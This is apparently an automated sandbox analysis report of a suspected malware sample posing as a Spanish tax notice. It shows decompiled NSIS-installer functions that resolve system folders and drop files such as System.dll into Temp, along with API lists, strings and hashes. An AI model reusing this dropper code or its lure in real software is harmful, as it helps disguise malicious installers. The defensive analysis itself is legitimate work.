										if(_t60 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L26;
									}
									_t62 =  *_t58( *0x7a8a28,  *(_t112 + _t108 * 4 - 0x18), 0, 0, _t110); // executed
									__eflags = _t62;
									if(_t62 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryW(_t110, 0x400);
							goto L30;
						} else {
							E0040612D( *0x7a8a78, __eflags, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x7a8a78 + (_t47 & 0x0000003f) * 2, _t110, _t47 & 0x00000040); // executed
							__eflags =  *_t110;
							if( *_t110 != 0) {
								L32:
								__eflags = _t76 - 0x1a;
								if(_t76 == 0x1a) {
									lstrcatW(_t110, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L34;
							}
							E00406281(_t76, _t108, _t110, _t110, _t76);
							L30:
							__eflags =  *_t110;
							if( *_t110 == 0) {
								goto L34;
							}
							_t76 = _v16;
							goto L32;
						}
					}
					__eflags = _t86 - 0x5a04;
					if(_t86 == 0x5a04) {
						goto L13;
					}
					__eflags = _t76 - 0x23;
					if(_t76 == 0x23) {
						goto L13;
					}
					__eflags = _t76 - 0x2e;
					if(_t76 == 0x2e) {
						goto L13;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L14;
					}
				}
				 *_t110 =  *_t110 & 0x00000000;
				if(_a4 == 0) {
					return _t44;
				}
				return E0040625F(_a4, _t44);
			}

0x00406281
0x00406281
0x00406281
0x00406287
0x0040628c
0x0040628e
0x0040629d
0x0040629d
0x004062a5
0x004062a6
0x004062a7
0x004062a8
0x004062ab
0x004062b3
0x004062b5
0x004062ce
0x004062d1
0x004062d1
0x004064cd
0x004064cd
0x004064d3
0x00000000
0x00000000
0x004062e1
0x004062e7
0x00000000
0x00000000
0x004062ef
0x004062f0
0x004062f2
0x004062f6
0x004062f9
0x004064ba
0x004064c8
0x004064cb
0x004064cb
0x004064bc
0x004064bf
0x004064c2
0x004064c4
0x004064c4
0x00000000
0x004064ba
0x004062ff
0x00406302
0x00406311
0x00406318
0x00406322
0x00406326
0x00406329
0x0040632c
0x00406331
0x00406336
0x0040633a
0x0040633d
0x0040645d
0x00406461
0x00406494
0x00406498
0x0040649d
0x004064a2
0x004064a2
0x004064a7
0x004064a8
0x004064ad
0x004064b0
0x004064b3
0x00000000
0x004064b3
0x00406463
0x00406466
0x00406469
0x0040647e
0x00406485
0x0040646b
0x00406472
0x00406472
0x0040648d
0x00406490
0x00406455
0x00406456
0x00406456
0x00000000
0x00406490
0x00406343
0x0040634b
0x0040634d
0x0040634e
0x00406367
0x00406367
0x0040636e
0x0040636e
0x00406375
0x00406379
0x00406379
0x0040637a
0x0040637c
0x004063b7
0x004063ba
0x004063ca
0x004063cd
0x004063d5
0x004063db
0x004063db
0x00406438
0x00406438
0x0040643a
0x00000000
0x00000000
0x004063df
0x004063e6
0x004063e7
0x004063e9
0x00406403
0x00406411
0x00406417
0x00406419
0x00406434
0x00406434
0x00406434
0x00000000
0x00406434
0x0040641f
0x0040642a
0x00406430
0x00406432
0x00000000
0x00000000
0x00000000
0x00406432
0x004063eb
0x004063ee
0x00000000
0x00000000
0x004063fd
0x004063ff
0x00406401
0x00000000
0x00000000
0x00000000
0x00406401
0x00000000
0x00406438
0x004063c2
0x00000000
0x0040637e
0x0040639c
0x004063a1
0x004063a5
0x00406445
0x00406445
0x00406448
0x00406450
0x00406450
0x00000000
0x00406448
0x004063ad
0x0040643c
0x0040643c
0x00406440
0x00000000
0x00000000
0x00406442
0x00000000
0x00406442
0x0040637c
0x00406350
0x00406355
0x00000000
0x00000000
0x00406357
0x0040635a
0x00000000
0x00000000
0x0040635c
0x0040635f
0x00000000
0x00406361
0x00406361
0x00000000
0x00406361
0x0040635f
0x004064d9
0x004064e4
0x004064f0
0x004064f0
0x00000000

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004063C2
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,007A0F00,?,004052FA,007A0F00,00000000), ref: 004063D5
SHGetSpecialFolderLocation.SHELL32(004052FA,007924D8,00000000,007A0F00,?,004052FA,007A0F00,00000000), ref: 00406411
SHGetPathFromIDListW.SHELL32(007924D8,Call), ref: 0040641F
CoTaskMemFree.OLE32(007924D8), ref: 0040642A
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406450
lstrlenW.KERNEL32(Call,00000000,007A0F00,?,004052FA,007A0F00,00000000), ref: 004064A8

Strings

Call, xrefs: 004062AB, 00406386, 0040638D, 00406391, 004063AB, 004063AC, 004063C1, 004063D4, 004063F0, 0040641B, 0040644F, 00406455, 00406471, 00406484, 004064A1, 004064A7, 004064B3, 004064E6
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040644A
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406392

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 1ab1bfc9e483f0d7decbabd2a64a8250e199f3f83b6f9b6e16045226286d04ff
Instruction ID: 53892de15873aface2ea8104bec8e4e448d1085f61c5dcff38edd77b46373637
Opcode Fuzzy Hash: 1ab1bfc9e483f0d7decbabd2a64a8250e199f3f83b6f9b6e16045226286d04ff
Instruction Fuzzy Hash: AA610371A00111AADF249F64DC40ABE37A5BF55324F12813FE547B62D0DB3D89A2CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __edi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				void* _t81;
				void* _t82;
				WCHAR* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402C37(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x28) & 0x00000007;
				_t35 = E00405BA7( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t84 = L"Call";
				if(_t35 == 0) {
					lstrcatW(E00405B30(E0040625F(_t84, L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated\\Handlingssted\\Skovsnegles\\Herb")), ??);
				} else {
					E0040625F();
				}
				E004064F3(_t84);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E004065A2(_t84);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x1c);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00405D2C(_t84);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E00405D51(_t84, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x30) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E004052C3(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x7a8ac8;
						goto L32;
					} else {
						E0040625F("C:\Users\Arthur\AppData\Local\Temp\nsu2B23.tmp", _t81);
						E0040625F(_t81, _t84);
						E00406281(_t77, _t81, _t84, "C:\Users\Arthur\AppData\Local\Temp\nsu2B23.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x14)));
						E0040625F(_t81, "C:\Users\Arthur\AppData\Local\Temp\nsu2B23.tmp");
						_t64 = E004058C1("C:\Users\Arthur\AppData\Local\Temp\nsu2B23.tmp\System.dll",  *(_t86 - 0x28) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x7a8ac8 =  &( *0x7a8ac8->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t84);
								_push(0xfffffffa);
								E004052C3();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E004052C3(0xffffffea,  *(_t86 - 8)); // executed
				 *0x7a8af4 =  *0x7a8af4 + 1;
				_push(_t77);
				_push(_t77);
				_push( *(_t86 - 0x30));
				_push( *((intOrPtr*)(_t86 - 0x20)));
				_t45 = E004030FA(); // executed
				 *0x7a8af4 =  *0x7a8af4 - 1;
				__eflags =  *(_t86 - 0x1c) - 0xffffffff;
				_t82 = _t45;
				if( *(_t86 - 0x1c) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x30), _t86 - 0x1c, _t77, _t86 - 0x1c); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x18)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t86 - 0x30)); // executed
				__eflags = _t82 - _t77;
				if(_t82 >= _t77) {
					goto L31;
				} else {
					__eflags = _t82 - 0xfffffffe;
					if(_t82 != 0xfffffffe) {
						E00406281(_t77, _t82, _t84, _t84, 0xffffffee);
					} else {
						E00406281(_t77, _t82, _t84, _t84, 0xffffffe9);
						lstrcatW(_t84,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t84);
					E004058C1();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x00402885
0x00402885
0x00402abf
0x00402ac2
0x00402ac2
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402ac8
0x00402ac8
0x00402ac8
0x00401867
0x00401867
0x00401868
0x00401493
0x004022f1
0x004022f1
0x004022f1
0x00401865
0x0040185e
0x00402aca
0x00402ace
0x00402ace
0x00401892
0x00401897
0x0040189d
0x0040189e
0x0040189f
0x004018a2
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x004022ec
0x00000000
0x004022ec
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb,?,?,00000031), ref: 004017D5

Part of subcall function 0040625F: lstrcpynW.KERNEL32(?,?,00000400,00403421,Geoduck Setup,NSIS Error,?,00000006,00000008,0000000A), ref: 0040626C

Part of subcall function 004052C3: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,757F23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000,?), ref: 004052FB
Part of subcall function 004052C3: lstrlenW.KERNEL32(0040323B,007A0F00,00000000,007924D8,757F23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000), ref: 0040530B
Part of subcall function 004052C3: lstrcatW.KERNEL32(007A0F00,0040323B), ref: 0040531E
Part of subcall function 004052C3: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 00405330
Part of subcall function 004052C3: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405356
Part of subcall function 004052C3: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405370
Part of subcall function 004052C3: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040537E

Strings

Call, xrefs: 0040178D, 00401796, 004017A3, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\System.dll, xrefs: 00401835, 00401851
C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nsu2B23.tmp, xrefs: 00401821, 0040183F

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb$C:\Users\user\AppData\Local\Temp\nsu2B23.tmp$C:\Users\user\AppData\Local\Temp\nsu2B23.tmp\System.dll$Call
API String ID: 1941528284-3658299123
Opcode ID: 3036717f3dd684cf2377e65c949b0f8917e20074c55b6eb4d43db9bd976140e3
Instruction ID: f7ad0716a47908c9ff001062aeffa45098cd3b08a1486a00dbbe40ca2a302bdd
Opcode Fuzzy Hash: 3036717f3dd684cf2377e65c949b0f8917e20074c55b6eb4d43db9bd976140e3
Instruction Fuzzy Hash: 56419671910515BECF117BA5CD85DAF3A75EF41329B20823FF412B11E2CA3C8A529A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00402644 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402644(intOrPtr __ebx, intOrPtr __edx, void* __esi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x48)) = _t65;
				_t66 = E00402C15(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t72;
				 *((intOrPtr*)(_t76 - 0x3c)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x7a8ac8 =  *0x7a8ac8 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x3c) = 0x3ff;
					}
					if( *__esi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x30) = __ebx;
						 *(__ebp - 0x10) = E004061BF(__ecx, __esi);
						if( *(__ebp - 0x3c) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x2c)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx ||  *(__ebp - 8) != __ebx || E00405E32( *(__ebp - 0x10), __ebx) >= 0) {
										__eax = __ebp - 0x44;
										if(E00405DD4( *(__ebp - 0x10), __ebp - 0x44, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x38;
									_push(__ebx);
									_push(__ebp - 0x38);
									__eax = 2;
									__ebp - 0x38 -  *((intOrPtr*)(__ebp - 0x1c)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x10), __ebp + 0xa, __ebp - 0x38 -  *((intOrPtr*)(__ebp - 0x1c)), ??, ??); // executed
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x38);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x48) = __ecx;
											 *(__ebp - 0x44) = __eax;
											if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E004061A6( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x44 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x44, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x44);
												} else {
													__esi =  *(__ebp - 0x48);
													__esi =  ~( *(__ebp - 0x48));
													while(1) {
														_t22 = __ebp - 0x38;
														 *_t22 =  *(__ebp - 0x38) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x44) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x48) =  *(__ebp - 0x48) - 1;
														__esi = __esi + 1;
														__eax = SetFilePointer( *(__ebp - 0x10), __esi, __ebx, 1); // executed
														__ebp - 0x44 = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x38), __ebp - 0x44, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x30) == 0xd ||  *(__ebp - 0x30) == 0xa) {
														if( *(__ebp - 0x30) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x48) =  ~( *(__ebp - 0x48));
															__eax = SetFilePointer( *(__ebp - 0x10),  ~( *(__ebp - 0x48)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														}
														goto L34;
													} else {
														__ecx =  *(__ebp - 0xc);
														__edx =  *(__ebp - 8);
														 *(__ebp - 8) =  *(__ebp - 8) + 1;
														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
														 *(__ebp - 0x30) = __eax;
														if(__ax == __bx) {
															goto L34;
														} else {
															goto L26;
														}
													}
												}
											}
										}
									}
								}
								goto L37;
								L26:
								__eax =  *(__ebp - 8);
							} while ( *(__ebp - 8) <  *(__ebp - 0x3c));
						}
						goto L34;
					}
				}
				L37:
				return 0;
			}

0x00402644
0x00402646
0x00402649
0x0040264b
0x0040264e
0x00402653
0x00402657
0x0040265a
0x0040265d
0x00402abf
0x00402ac2
0x00402663
0x00402663
0x0040266a
0x0040266c
0x0040266c
0x00402672
0x004027d6
0x004027d6
0x004027d9
0x004027de
0x004015b6
0x00402885
0x00402885
0x00000000
0x00402678
0x00402679
0x00402684
0x00402687
0x00402693
0x00402697
0x0040272f
0x00402747
0x00402757
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040269d
0x0040269d
0x004026a0
0x004026a1
0x004026a4
0x004026a9
0x004026b0
0x004026b8
0x00000000
0x004026be
0x004026be
0x004026c3
0x00000000
0x004026c9
0x004026c9
0x004026d1
0x004026d4
0x004026d7
0x00402792
0x00402799
0x004026dd
0x004026e3
0x004026ef
0x00402759
0x00402759
0x004026f1
0x004026f1
0x004026f4
0x004026f6
0x004026f6
0x004026f6
0x004026f9
0x004026fe
0x00402701
0x00000000
0x00000000
0x00402703
0x00402706
0x0040270e
0x0040271a
0x00402728
0x00000000
0x0040272a
0x00000000
0x0040272a
0x00000000
0x00402728
0x004026f6
0x0040275c
0x0040275f
0x00000000
0x00402761
0x00402766
0x004027a7
0x004027c9
0x004027d0
0x004027b5
0x004027b5
0x004027b8
0x004027bb
0x004027be
0x004027be
0x00000000
0x0040276f
0x0040276f
0x00402772
0x00402775
0x0040277b
0x0040277f
0x00402782
0x00000000
0x00000000
0x00000000
0x00000000
0x00402782
0x00402766
0x0040275f
0x004026d7
0x004026c3
0x004026b8
0x00000000
0x00402784
0x00402784
0x00402787
0x00402790
0x00000000
0x00402687
0x00402672
0x00402ac8
0x00402ace

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B0
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026EB
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 0040270E
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 00402724

Part of subcall function 00405E32: SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,?,?,00402629,00000000,00000000,?,00000000,00000011), ref: 00405E48

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D0

Strings

9, xrefs: 00402693

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: bbfadd1fb82cd2902055e903a3e488c979ded5586cb93e8eb0be3a96e306ad52
Instruction ID: 9be2b0b37b52d723af7ab0687330b4cdc43bee68c69c879290400e1721267ab5
Opcode Fuzzy Hash: bbfadd1fb82cd2902055e903a3e488c979ded5586cb93e8eb0be3a96e306ad52
Instruction Fuzzy Hash: BA51F675D00219AADF20DFA5DA88AAEB779FF04304F10443BE511F72D0DBB89982CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004052C3 Relevance: 10.6, APIs: 7, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004052C3(signed int _a4, WCHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				WCHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t27;
				signed int _t28;
				long _t29;
				signed int _t37;
				signed int _t38;

				_t27 =  *0x7a7a04; // 0x103d0
				_v8 = _t27;
				if(_t27 != 0) {
					_t37 =  *0x7a8af4;
					_v12 = _t37;
					_t38 = _t37 & 0x00000001;
					if(_t38 == 0) {
						E00406281(_t38, 0, 0x7a0f00, 0x7a0f00, _a4);
					}
					_t27 = lstrlenW(0x7a0f00);
					_a4 = _t27;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t27 = SetWindowTextW( *0x7a79e8, 0x7a0f00); // executed
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x7a0f00;
							_v52 = 1;
							_t29 = SendMessageW(_v8, 0x1004, 0, 0); // executed
							_v44 = 0;
							_v48 = _t29 - _t38;
							SendMessageW(_v8, 0x104d - _t38, 0,  &_v52); // executed
							_t27 = SendMessageW(_v8, 0x1013, _v48, 0); // executed
						}
						if(_t38 != 0) {
							_t28 = _a4;
							0x7a0f00[_t28] = 0;
							return _t28;
						}
					} else {
						_t27 = lstrlenW(_a8) + _a4;
						if(_t27 < 0x1000) {
							_t27 = lstrcatW(0x7a0f00, _a8);
							goto L6;
						}
					}
				}
				return _t27;
			}

0x004052c9
0x004052d3
0x004052d8
0x004052de
0x004052e9
0x004052ec
0x004052ef
0x004052f5
0x004052f5
0x004052fb
0x00405303
0x00405306
0x00405323
0x00405327
0x00405330
0x00405330
0x0040533a
0x00405343
0x0040534f
0x00405356
0x0040535a
0x0040535d
0x00405370
0x0040537e
0x0040537e
0x00405382
0x00405384
0x00405387
0x00000000
0x00405387
0x00405308
0x00405310
0x00405318
0x0040531e
0x00000000
0x0040531e
0x00405318
0x00405306
0x00405393

APIs

